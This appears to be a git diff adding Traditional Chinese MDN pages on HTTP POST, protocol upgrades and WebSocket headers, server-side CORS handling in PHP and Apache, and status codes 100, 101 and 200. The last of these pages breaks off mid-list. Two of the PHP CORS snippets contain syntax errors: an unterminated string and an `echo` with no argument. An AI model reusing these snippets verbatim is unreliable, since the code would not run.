+<p>使用 <code>application/x-www-form-urlencoded</code> 內容類型的簡易表單:</p>
+
+<pre class="line-numbers  language-html">POST /test HTTP/1.1
+Host: foo.example
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 27
+
+field1=value1&amp;field2=value2</pre>
+
+<p>使用 <code>multipart/form-data</code> 內容類型的表單:</p>
+
+<pre>POST /test HTTP/1.1
+Host: foo.example
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+--boundary--
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "POST", "4.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+  <tr>
+   <td>{{RFC("2046", "Common Syntax", "5.1.1")}}</td>
+   <td>Multipurpose Internet Mail Extensions (MIME) Part Two: Media Types</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.POST")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/protocol_upgrade_mechanism/index.html b/files/zh-tw/web/http/protocol_upgrade_mechanism/index.html
new file mode 100644
index 0000000000..98ac6b0edb
--- /dev/null
+++ b/files/zh-tw/web/http/protocol_upgrade_mechanism/index.html
@@ -0,0 +1,152 @@
+---
+title: 協議升級機制
+slug: Web/HTTP/Protocol_upgrade_mechanism
+translation_of: Web/HTTP/Protocol_upgrade_mechanism
+---
+<div>
+<p>{{HTTPSidebar}}</p>
+
+<p><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP">HTTP/1.1 協議</a>提供了一種特殊的機制，這一機制允許將一個已建立的連接升級成新的、不相容的協議。這篇指南涵蓋了其運作原理和使用場景。</p>
+
+<p>通常來說這一機制總是由客戶端發起的 （不過也有例外，比如說可以由服務端發起{{anch("Server-initiated upgrade to TLS", "升級到傳輸層安全協議（TLS）")}}）， 服務端可以選擇是否要升級到新協議。借助這一技術，連接可以以常用的協議啟動（如HTTP/1.1），隨後再升級到HTTP2甚至是WebSockets.</p>
+
+<p>注意：HTTP/2 明確禁止使用此機制，這個機制只屬於 HTTP/1.1</p>
+</div>
+
+<h2 id="升级_HTTP1.1_連線">升级 HTTP/1.1 連線</h2>
+
+<p><br>
+ 協議升級請求總是由客戶端發起的；暫時沒有服務端請求協議更改的機制。當客戶端試圖升級到一個新的協議時，可以先發送一個普通的請求（{{HTTPMethod("GET")}}，{{HTTPMethod("POST")}}等），不過這個請求需要進行特殊配置以包含升級請求。<br>
+ Upgrade 請求看起來就像：</p>
+
+<pre>GET /index.html HTTP/1.1
+Host: www.example.com
+Connection: upgrade
+Upgrade: example/1, foo/2
+</pre>
+
+<p><br>
+ 根據之前的請求的協議，可能需要其他頭部信息，例如：從HTTP/1.1升級到WebSocket 允許配置有關 WebSocket 連接的頭部詳細信息，以及在連接時提供一定程度的安全性。查看 {{anch("Upgrading to a WebSocket connection")}} 獲取更多信息。</p>
+
+<p>如果服務器決定升級這次連接，就會返回一個 {{HTTPStatus(101, "101 Switching Protocols")}} 響應狀態碼，和一個要切換到的協議的頭部字段Upgrade。 如果服務器沒有（或者不能）升級這次連接，它會忽略客戶端發送的 "Upgrade 頭部字段，返回一個常規的響應：例如一個{{HTTPStatus(200, "200 OK")}}).</p>
+
+<p>服務在發送 101 狀態碼之後，就可以使用新的協議，並可以根據需要執行任何其他協議指定的握手。實際上，一旦這次升級完成了，連接就變成了雙向管道。並且可以通過新協議完成啟動升級的請求。</p>
+
+<h2 id="Common_uses_for_this_mechanism">Common uses for this mechanism</h2>
+
+<p>Here we look at the most common use cases for the {{HTTPHeader("Upgrade")}} header.</p>
+
+<h3 id="Upgrading_to_a_WebSocket_connection">Upgrading to a WebSocket connection</h3>
+
+<p>By far, the most common use case for upgrading an HTTP connection is to use WebSockets, which are always implemented by upgrading an HTTP or HTTPS connection. Keep in mind that if you're opening a new connection using the <a href="/en-US/docs/Web/API/WebSocket">WebSocket API</a>, or any library that does WebSockets, most or all of this is done for you. For example, opening a WebSocket connection is as simple as:</p>
+
+<pre class="brush: js">webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol");</pre>
+
+<p>The {{domxref("WebSocket.WebSocket", "WebSocket()")}} constructor does all the work of creating an initial HTTP/1.1 connection then handling the handshaking and upgrade process for you.</p>
+
+<div class="note">
+<p>You can also use the <code>"wss://"</code> URL scheme to open a secure WebSocket connection.</p>
+</div>
+
+<p>If you need to create a WebSocket connection from scratch, you'll have to handle the handshaking process yourself. After creating the initial HTTP/1.1 session, you need to request the upgrade by adding to a standard request the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, as follows:</p>
+
+<pre>Connection: Upgrade
+Upgrade: websocket</pre>
+
+<h3 id="WebSocket-specific_headers">WebSocket-specific headers</h3>
+
+<p>The following headers are involved in the WebSocket upgrade process. Other than the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other.</p>
+
+<h4 id="HTTPHeaderSec-WebSocket-Extensions">{{HTTPHeader("Sec-WebSocket-Extensions")}}</h4>
+
+<p>Specifies one or more protocol-level WebSocket extensions to ask the server to use. Using more than one <code>Sec-WebSocket-Extension</code> header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Extensions: <var>extensions</var></pre>
+
+<dl>
+ <dt><code><var>extensions</var></code></dt>
+ <dd>A comma-separated list of extensions to request (or agree to support). These should be selected from the <a href="https://www.iana.org/assignments/websocket/websocket.xml#extension-name">IANA WebSocket Extension Name Registry</a>. Extensions which take parameters do so by using semicolon delineation.</dd>
+</dl>
+
+<p>For example:</p>
+
+<pre>Sec-WebSocket-Extensions: superspeed, colormode; depth=16</pre>
+
+<h4 id="HTTPHeaderSec-WebSocket-Key">{{HTTPHeader("Sec-WebSocket-Key")}}</h4>
+
+<p>Provides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this <em>does not provide security</em>. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection."</p>
+
+<p>This header is automatically added by clients that choose to use it; it cannot be added using the {{domxref("XMLHttpRequest.setRequestHeader()")}} method.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Key: <var>key</var></pre>
+
+<dl>
+ <dt><code><var>key</var></code></dt>
+ <dd>The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade response to you.</dd>
+</dl>
+
+<p>The server's response's {{HTTPHeader("Sec-WebSocket-Accept")}} header will have a value computed based upon the specified <code><var>key</var></code>.</p>
+
+<h4 id="HTTPHeaderSec-WebSocket-Protocol">{{HTTPHeader("Sec-WebSocket-Protocol")}}</h4>
+
+<p>The <code>Sec-WebSocket-Protocol</code> header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a <code>Sec-WebSocket-Protocol</code> header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Protocol: <var>subprotocols</var></pre>
+
+<dl>
+ <dt><code><var>subprotocols</var></code></dt>
+ <dd>A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the <a href="https://www.iana.org/assignments/websocket/websocket.xml#subprotocol-name">IANA WebSocket Subprotocol Name Registry</a> or may be a custom name jointly understood by the client and the server.</dd>
+</dl>
+
+<h4 id="HTTPHeaderSec-WebSocket-Version">{{HTTPHeader("Sec-WebSocket-Version")}}</h4>
+
+<h5 id="Request_header">Request header</h5>
+
+<p>Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Version: <var>version</var></pre>
+
+<dl>
+ <dt><code><var>version</var></code></dt>
+ <dd>The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the <a href="https://www.iana.org/assignments/websocket/websocket.xml#version-number">IANA WebSocket Version Number Registry</a>. The most recent final version of the WebSocket protocol is version 13.</dd>
+</dl>
+
+<h5 id="Response_header">Response header</h5>
+
+<p>If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a <code>Sec-WebSocket-Version</code> header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no <code>Sec-WebSocket-Version</code> header is included in the response.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Version: <var>supportedVersions</var></pre>
+
+<dl>
+ <dt><code><var>supportedVersions</var></code></dt>
+ <dd>A comma-delineated list of the WebSocket protocol versions supported by the server.</dd>
+</dl>
+
+<h3 id="Response-only_headers">Response-only headers</h3>
+
+<p>The response from the server may include these.</p>
+
+<h4 id="HTTPHeaderSec-WebSocket-Accept">{{HTTPHeader("Sec-WebSocket-Accept")}}</h4>
+
+<p>Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the response headers.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Accept: <var>hash</var></pre>
+
+<dl>
+ <dt><code><var>hash</var></code></dt>
+ <dd>If a {{HTTPHeader("Sec-WebSocket-Key")}} header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the {{interwiki("wikipedia", "SHA-1")}} hash of that concatenated string, resulting in a 20-byte value. That value is then <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> encoded to obtain the value of this property.</dd>
+</dl>
+
+<h2 id="References">References</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebSocket">WebSocket API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+ <li>Specifications and RFCs:
+  <ul>
+   <li>{{RFC(7230)}}</li>
+   <li>{{RFC(6455)}}</li>
+   <li>{{RFC(7540)}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/http/server-side_access_control/index.html b/files/zh-tw/web/http/server-side_access_control/index.html
new file mode 100644
index 0000000000..ffa7d7eb0e
--- /dev/null
+++ b/files/zh-tw/web/http/server-side_access_control/index.html
@@ -0,0 +1,212 @@
+---
+title: 伺服器端存取控制（CORS）
+slug: Web/HTTP/Server-Side_Access_Control
+translation_of: Web/HTTP/CORS
+---
+<p>存取控制系統是執行<a href="http://searchsoftwarequality.techtarget.com/definition/authorization">授權</a>識別、<a href="http://searchsecurity.techtarget.com/definition/authentication">認證</a>、存取核可的實體，也負責透過登入來進行驗證，包含<a href="http://searchsecurity.techtarget.com/definition/password">密碼</a>、個人身份識別碼（personal identification numbers，PINs）、<a href="http://searchsecurity.techtarget.com/definition/biometrics">生物辨識</a>掃描，以及物理或電子的金鑰。</p>
+
+<p>存取控制是用於規範計算環境之資源可供哪些人或單位觀看、使用的一種安全技術。</p>
+
+<p>{{HTTPSidebar}}</p>
+
+<p>瀏覽器透過 {{domxref("XMLHttpRequest")}} 或 <a href="/zh-TW/docs/Web/API/Fetch_API">Fetch API</a> 所發起的跨網域請求（cross-site request），會在寄送時使用特定的 <a href="/zh-TW/docs/Web/HTTP/Headers">HTTP 標頭</a>。同樣的，由伺服器回傳的跨網域回應（cross-site response）中也能看到特定的 HTTP 標頭。關於這些特定標頭的簡介，包括使用 JavaScript 發起請求與處理來自伺服器回應的範例以及每一個標頭的討論，<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS">可以在 HTTP 存取控制（CORS）一文中找到</a>，並應該搭配本文一起閱讀。這篇文章包含使用 PHP 處理<strong>存取控制請求</strong>與建立<strong>存取控制回應</strong>。本文的目標讀者為伺服器端程式設計師或管理員。僅管本篇範例使用的是 PHP，但類似的概念也適用於 ASP.net、Perl、Python、Java 等等其他語言；一般來說，這些概念也能套用在任何處理 HTTP 請求及動態建立 HTTP 回應的伺服器端程式環境中。</p>
+
+<h2 id="HTTP_標頭討論">HTTP 標頭討論</h2>
+
+<p>討論到<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS">同時涵蓋客戶端及伺服器端使用的 HTTP 標頭的文章在此</a>，建議先閱讀該篇文章。</p>
+
+<h2 id="可執行的程式碼範例">可執行的程式碼範例</h2>
+
+<p>隨後章節的 PHP 程式碼片段（以及 JavaScript 呼叫伺服器）可以在<a class="external" href="http://arunranga.com/examples/access-control/">這裡</a>取得。這些程式在實作了跨網域 {{domxref("XMLHttpRequest")}} 的瀏覽器中都可以運作。</p>
+
+<h2 id="簡單跨網域請求">簡單跨網域請求</h2>
+
+<p><a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#簡單請求">簡單存取控制請求</a>會在以下情況下被建立發起：</p>
+
+<ul>
+ <li>一個 HTTP/1.1 {{HTTPMethod("GET")}} 或 {{HTTPMethod("POST")}} 方法送出之請求。若為 POST，則該請求之 {{HTTPHeader("Content-Type")}} 標頭值須為 <code>application/x-www-form-urlencoded</code>、<code>multipart/form-data</code> 或 <code>text/plain</code> 其中之一。</li>
+ <li>HTTP 請求中沒有使用自定義的標頭（如 <code>X-Modified</code> 等等）。</li>
+</ul>
+
+<p>在此情況下，回傳回應需要考慮以下條件：</p>
+
+<ul>
+ <li>如果該資源是允許被任何人存取的（就像所有透過 GET 方法存取的 HTTP 資源），則只要回傳帶有 {{HTTPHeader("Access-Control-Allow-Origin")}}<code>: *</code> 標頭值的回應即可。<strong>除非</strong>資源需要身分驗證（credentials），如 <a href="/zh-TW/docs/Web/HTTP/Cookies">Cookies</a> 與 HTTP 認證（Authentication）資訊。</li>
+ <li>如果資源應該要限制請求者的網域（domain），<strong>或是</strong>假如資源需要身分驗證（credentials）來進行存取（或是要設定驗證）。則篩選請求的 {{HTTPHeader("Origin")}} 標頭就可能是必要的，或至少呼應請求者的 <code>Origin</code> 標頭值（例如 {{HTTPHeader("Access-Control-Allow-Origin")}}<code>: <a class="external" href="http://arunranga.com" rel="freelink">http://arunranga.com</a></code>）。另外，將會發送 {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> 標頭，在<a class="internal" href="#身分憑證請求">下面的章節</a>會進行討論。</li>
+</ul>
+
+<p>在 HTTP 存取控制（CORS）一文的<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#簡單請求">簡單存取控制請求</a>章節示範了客戶端與伺服器端之間標頭的交流。下面是一個處理簡單請求的 PHP 程式碼片段：</p>
+
+<pre class="brush: php">&lt;?php
+
+// 我們僅授權讓 arunranga.com 網域來存取資源
+// 因為我們認為該網域存取本 application/xml 資源是安全的
+
+if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Content-type: application/xml');
+    readfile('arunerDotNetResource.xml');
+} else {
+  header('Content-Type: text/html');
+  echo "&lt;html&gt;";
+  echo "&lt;head&gt;";
+  echo "   &lt;title&gt;Another Resource&lt;/title&gt;";
+  echo "&lt;/head&gt;";
+  echo "&lt;body&gt;",
+       "&lt;p&gt;This resource behaves two-fold:";
+  echo "&lt;ul&gt;",
+         "&lt;li&gt;If accessed from &lt;code&gt;http://arunranga.com&lt;/code&gt; it returns an XML document&lt;/li&gt;";
+  echo   "&lt;li&gt;If accessed from any other origin including from simply typing in the URL into the browser's address bar,";
+  echo   "you get this HTML document&lt;/li&gt;",
+       "&lt;/ul&gt;",
+     "&lt;/body&gt;",
+   "&lt;/html&gt;";
+}
+?&gt;
+</pre>
+
+<p>以上的程式會檢查由瀏覽器所送出之請求的 {{HTTPHeader("Origin")}} 標頭（透過取得 $_SERVER['HTTP_ORIGIN']）是否為「<a class="external" href="http://arunranga.com" rel="freelink">http://arunranga.com</a>」。若相符，則回傳之回應中加入 {{HTTPHeader("Access-Control-Allow-Origin")}}<code>: <a class="external" href="http://arunranga.com" rel="freelink">http://arunranga.com</a></code> 標頭值。這個範例可以在<a class="external" href="http://arunranga.com/examples/access-control/">這裡看到執行的情形</a>。</p>
+
+<h2 id="預檢請求">預檢請求</h2>
+
+<p><a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">預檢存取控制請求</a>在以下情況下發起：</p>
+
+<ul>
+ <li>使用一個 {{HTTPMethod("GET")}} 或 {{HTTPMethod("POST")}} 以外的 HTTP 方法。或是在使用 {{HTTPMethod("POST")}} 方法的情況下，其 {{HTTPHeader("Content-Type")}} 標頭值為 <code>application/x-www-form-urlencoded</code>、<code>multipart/form-data</code> 或 <code>text/plain</code> <strong>以外</strong>的值。例如，假設使用 <code>POST</code> 方法並包含之 <code>Content-Type</code> 標頭值為 <code>application/xml</code>，則此請求便為預檢（preflighted）請求。</li>
+ <li>一個帶有自定義 HTTP 標頭（如 <code>X-PINGARUNER</code>）的請求。</li>
+</ul>
+
+<p>在 HTTP 存取控制（CORS）一文的<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#預檢請求">預檢存取控制請求</a>章節示範了客戶端與伺服器端之間標頭的交流。一個伺服器資源要回應預檢（preflighted）請求必須能夠進行以下的判斷：</p>
+
+<ul>
+ <li>基於 {{HTTPHeader("Origin")}} 的篩選，如果有的話。</li>
+ <li>回應一個 {{HTTPMethod("OPTIONS")}} 請求（即預檢（preflighted）請求），包含寄送必要的 {{HTTPHeader("Access-Control-Allow-Methods")}}、{{HTTPHeader("Access-Control-Allow-Headers")}} 標頭值（假如有任何應用程式運作所需要的額外標頭），以及若是此資源要求身分驗證，則需要包含 {{HTTPHeader("Access-Control-Allow-Credentials")}} 標頭。</li>
+ <li>回應實際（actual）請求，包含處理 <code>POST</code> 請求的資料等等。</li>
+</ul>
+
+<p>下面是一個使用 PHP 實作之處理<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#預檢請求">預檢請求</a>的範例：</p>
+
+<pre class="brush: php">&lt;?php
+
+if($_SERVER['REQUEST_METHOD'] == "GET") {
+
+  header('Content-Type: text/plain');
+  echo "This HTTP resource is designed to handle POSTed XML input";
+  echo "from arunranga.com and not be retrieved with GET";
+
+} elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS") {
+  // 告訴客戶端我們支援來自 arunranga.com 的呼叫
+  // 以及這個預檢請求的有效期限僅有 20 天
+
+  if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
+    header('Access-Control-Allow-Headers: X-PINGARUNER');
+    header('Access-Control-Max-Age: 1728000');
+    header("Content-Length: 0");
+    header("Content-Type: text/plain");
+    //exit(0);
+  } else {
+    header("HTTP/1.1 403 Access Forbidden");
+    header("Content-Type: text/plain");
+    echo "You cannot repeat this request";
+  }
+
+} elseif($_SERVER['REQUEST_METHOD'] == "POST") {
+  // 處理 POST 請求，第一步為取得 POST 請求中 blob 型態的 XML
+  // 並且對其做一些處理，再傳送結果給客戶端
+
+  if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+    $postData = file_get_contents('php://input');
+    $document = simplexml_load_string($postData);
+
+    // 對 POST 請求的資料做一些處理
+
+    $ping = $_SERVER['HTTP_X_PINGARUNER'];
+
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Content-Type: text/plain');
+    echo // 在處理之後要回傳的一些回應字串
+  } else {
+    die("POSTing Only Allowed from arunranga.com");
+  }
+} else {
+    die("No Other Methods Allowed");
+}
+?&gt;
+</pre>
+
+<p>注意範例中在回應 {{HTTPMethod("OPTIONS")}} 預檢（preflighted）請求與回應 {{HTTPMethod("POST")}} 請求時都會回傳相對應的 HTTP 標頭值，因此一個伺服器資源可以處理預檢以及實際（actual）請求。在回應 <code>OPTIONS</code> 預檢請求之回應標頭中，伺服器告知客戶端可以使用 <code>POST</code> 方法發送實際（actual）請求，並且能於實際（actual）請求的 HTTP 標頭欄位中帶上 <code>X-PINGARUNER</code> 及其值。這個範例可以在<a class="external" href="http://arunranga.com/examples/access-control/">這裡看到執行的情形</a>。</p>
+
+<h2 id="身分驗證請求">身分驗證請求</h2>
+
+<p><a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#附帶身分憑證的請求">身分驗證存取控制請求</a>——即請求可以附帶 <a href="/zh-TW/docs/Web/HTTP/Cookies">Cookies</a> 或 HTTP 認證（Authentication）訊息（並期望回應攜帶 Cookies）——可以是<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#簡單請求">簡單</a>或<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#預檢">預檢請求</a>，根據請求使用之 HTTP 方法而定。</p>
+
+<p>於<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#簡單請求">簡單請求</a>情境中，請求將會連同 Cookies 一起發送（例如當 <code><a href="/zh-TW/docs/Web/API/XMLHttpRequest/withCredentials">withCredentials</a></code> 旗標被設置於 {{domxref("XMLHttpRequest")}} 時）。假如伺服器以附帶了 {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> 標頭值的身分驗證回應來回傳，則回應會被客戶端接受並且可被用於網頁內容中。在<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#預檢請求">預檢請求</a>中，伺服器可以用 <code>Access-Control-Allow-Credentials: true</code> 標頭來回應 <code>OPTIONS</code> 預檢請求。</p>
+
+<p>以下為一些處理身分驗證請求的 PHP 程式片段：</p>
+
+<pre class="brush: php">&lt;?php
+
+if($_SERVER['REQUEST_METHOD'] == "GET") {
+  header('Access-Control-Allow-Origin: http://arunranga.com');
+  header('Access-Control-Allow-Credentials: true');
+  header('Cache-Control: no-cache');
+  header('Pragma: no-cache');
+  header('Content-Type: text/plain');
+
+  // 檢查有沒有 Cookie，若沒有則當作是第一次訪問
+  if (!isset($_COOKIE["pageAccess"])) {
+    setcookie("pageAccess", 1, time()+2592000);
+    echo 'I do not know you or anyone like you so I am going to';
+    echo 'mark you with a Cookie :-)';
+  } else {
+    $accesses = $_COOKIE['pageAccess'];
+    setcookie('pageAccess', ++$accesses, time()+2592000);
+    echo 'Hello -- I know you or something a lot like you!';
+    echo 'You have been to ', $_SERVER['SERVER_NAME'], ';
+    echo 'at least ', $accesses-1, ' time(s) before!';
+  }
+} elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS") {
+  // 告訴客戶端這個預檢請求的有效期限僅有 20 天
+  if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Access-Control-Allow-Methods: GET, OPTIONS');
+    header('Access-Control-Allow-Credentials: true');
+    header('Access-Control-Max-Age: 1728000');
+    header("Content-Length: 0");
+    header("Content-Type: text/plain");
+  } else {
+    header("HTTP/1.1 403 Access Forbidden");
+    header("Content-Type: text/plain");
+    echo "You cannot repeat this request";
+  }
+} else {
+  die("This HTTP Resource can ONLY be accessed with GET or OPTIONS");
+}
+?&gt;
+</pre>
+
+<p>注意此範例中的身分驗證請求，其中的 <code>Access-Control-Allow-Origin:</code> 標頭值<strong>不得</strong>是萬用字元（wildcard）「*」。此標頭值<strong>必須</strong>為一個有效的的來源網域（origin domain）。以上的範例可以在<a class="external" href="http://arunranga.com/examples/access-control/">這裡看到執行的情形</a>。</p>
+
+<h2 id="Apache_範例">Apache 範例</h2>
+
+<h3 id="限制存取某些_URI">限制存取某些 URI</h3>
+
+<p>一個實用的訣竅是使用 Apache rewrite 環境變數（environment variable），並且讓 HTTP 標頭套用 <code>Access-Control-Allow-*</code> 至某些 URI。這相當有用，例如要限制跨來源（cross-origin）請求 <code>GET /api(.*).json</code> 為不帶身分驗證的請求：</p>
+
+<pre>RewriteRule ^/api(.*)\.json$ /api$1.json [CORS=True]
+Header set Access-Control-Allow-Origin "*" env=CORS
+Header set Access-Control-Allow-Methods "GET" env=CORS
+Header set Access-Control-Allow-Credentials "false" env=CORS
+</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a class="external" href="http://arunranga.com/examples/access-control/">Examples of Access Control in Action</a></li>
+ <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Client-Side &amp; Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)</a></li>
+ <li><a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP Access Control covering the HTTP headers</a></li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/status/100/index.html b/files/zh-tw/web/http/status/100/index.html
new file mode 100644
index 0000000000..79fb0c9bfd
--- /dev/null
+++ b/files/zh-tw/web/http/status/100/index.html
@@ -0,0 +1,42 @@
+---
+title: 100 Continue
+slug: Web/HTTP/Status/100
+translation_of: Web/HTTP/Status/100
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>100 Continue</code></strong> 訊息狀態回應碼表示，目前為止的一切完好，用戶端應該繼續完成請求，或當請求已經完成的狀態下應忽略此訊息。</p>
+
+<p>若要使伺服器確認請求標頭，用戶端必須在最初請求的標頭中，傳送{{HTTPHeader("Expect")}}<code>: 100-continue</code> ，並且在傳送主體前，接收 <code>100 Continue</code> 狀態碼。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">100 Continue</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.100")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPHeader("Expect")}}</li>
+ <li>{{HTTPStatus(417)}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/status/101/index.html b/files/zh-tw/web/http/status/101/index.html
new file mode 100644
index 0000000000..f801edfd37
--- /dev/null
+++ b/files/zh-tw/web/http/status/101/index.html
@@ -0,0 +1,46 @@
+---
+title: 101 Switching Protocols
+slug: Web/HTTP/Status/101
+translation_of: Web/HTTP/Status/101
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>101 Switching Protocols</strong></code> 回應碼表示伺服器正在切換到用戶端在請求標頭{{HTTPHeader("Upgrade")}} 中所要求的通訊協定。</p>
+
+<p>伺服端將在回應中包含 {{HTTPHeader("Upgrade")}} 標頭以表明其所切換的通訊協定。此過程在文章 <a href="/zh-TW/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a> 中有更加詳細的描述。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">101 Switching Protocols</pre>
+
+<h2 id="範例">範例</h2>
+
+<p>通訊協定切換可能會用於 <a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a> 中。</p>
+
+<pre>HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a></li>
+ <li><a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a></li>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+ <li>{{HTTPStatus("426")}} <code>Upgrade Required</code></li>
+</ul>
diff --git a/files/zh-tw/web/http/status/200/index.html b/files/zh-tw/web/http/status/200/index.html
new file mode 100644
index 0000000000..f9b94fd6df
--- /dev/null
+++ b/files/zh-tw/web/http/status/200/index.html
@@ -0,0 +1,50 @@
+---
+title: 200 OK
+slug: Web/HTTP/Status/200
+translation_of: Web/HTTP/Status/200
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>200 OK</code></strong> 成功狀態碼表明請求成功。200 回應預設上是緩存的（cacheable）。</p>
+
+<p>所謂「成功」的定義，取決於 HTTP 的請求方法：</p>
+
+<ul>
+ <li>{{HTTPMethod("GET")}}：資源已取得，並傳送到訊息內文（message body）。</li>
